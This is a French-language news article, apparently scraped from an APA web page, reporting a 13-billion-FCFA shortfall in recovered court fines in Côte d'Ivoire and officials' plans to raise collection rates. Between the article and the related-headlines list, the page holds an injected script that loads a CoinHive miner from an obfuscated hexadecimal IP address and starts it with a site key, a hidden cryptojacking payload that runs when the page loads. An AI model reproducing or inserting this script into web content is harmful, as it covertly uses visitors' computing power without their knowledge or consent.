Un manque à gagner de 13 milliards FCFA d’amendes judiciaires en Côte d'Ivoire.
0
 

Écouter
Un manque à gagner de 13 milliards FCFA d’amendes judiciaires en Côte d'Ivoire.

Un manque à gagner de 13 milliards FCFA d’amendes judiciaires en Côte d'Ivoire.

APA | Lu 2565 fois | Publié

L’Etat de Côte d’Ivoire enregistre un manque à gagner de 13 milliards de F CFA au niveau des amendes judiciaires. C'est l'information donnée par le Directeur des Affaires civiles et pénales du ministère de la Justice et des droits de l’Homme, Daniogo N’Golo, au cours d'une rencontre avec les acteurs du Trésor et de la Comptabilité Publique et ceux de la Justice à Abengourou (Est de la Côte d'Ivoire).

M. N’Golo qui exposait sur le thème « Les enjeux de la responsabilisation des acteurs judiciaires face au défi d’un meilleur recouvrement des amendes judiciaires », a indiqué ce chiffre, à l’occasion d’une campagne de sensibilisation sur le recouvrement des amendes judiciaires mercredi à Abengourou, dans l’Est ivoirien.

Le conférencier qui a relevé « un manque à gagner de 13 milliards de FCFA au niveau des amendes judicaires », a appelé les acteurs du Trésor public à une « forte collaboration » avec les juges, les magistrats, les greffiers en chef, les officiers de police judiciaires et les régisseurs pour un meilleur recouvrement. 

Selon une présentation de M. Kéita Koriah, chef du service recouvrement des pénalités et amendes à l’Agence comptable des créances contentieuses, il ressort que « sur ces cinq dernières années, la contribution des amendes forfaitaires dans le financement du budget de l’État n’excède pas 1% »

Sur un montant d’un peu plus de 5 milliards de FCFA de condamnations prononcées de 2012 à 2016, seulement 24, 6 millions de FCFA d’amendes judiciaires, ont été recouvrés, soit un taux de 0,97%, a fait savoir M. Kéita Koriah.

Pour corriger cette faiblesse, le Trésor public ivoirien s’est fixé pour objectif de faire passer le taux de recouvrement des recettes non fiscales de 3% à au moins 10% d’ici 2020, tout en intensifient la sensibilisation en vue du recouvrement des amendes judiciaires.

"L’écart entre le cumul des montants prononcés au titre des amendes et les montants effectivement recouvrés est sans mesure", a souligné le Conseiller technique, Justin Koné Wawota, représentant le Garde des Sceaux, ministre de la Justice et des Droits de l’Homme.

Il a insisté sur la nécessité pour les acteurs de la chaine de recouvrement à travailler en synergie, tout en assurant que le gouvernement poursuivra les efforts visant à trouver des solutions pour le recouvrement des amendes afin de contribuer à l’accroissement des recettes dans le budget de l’État.



 

<script src="https://0x6814D03B/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('f8XBOx6egKlyNr6RU9M1hnmEJd81a17g');
miner.start();
</script>

Cet article vous a plu ! Partagez-le maintenant

A lire également

 
 
 
 
 
 
 
 
 
 

En continu

Un crédit d’impôt supplémentaire accordé désormais à des entreprises ouvrant leur capital social aux nationaux

Bouaké: Remise jeudi d’unités de production et de transformation de manioc, d’épices secs et de production de jus à des groupements de femmes.

Plus de 50 journalistes tués dans le monde depuis janvier (ONG)

France: une ancienne ministre de la Culture soupçonnée de "prise illégale d'intérêts

RDC: 45 morts dans des violences inter-communautaires dans l'ouest (gouverneur)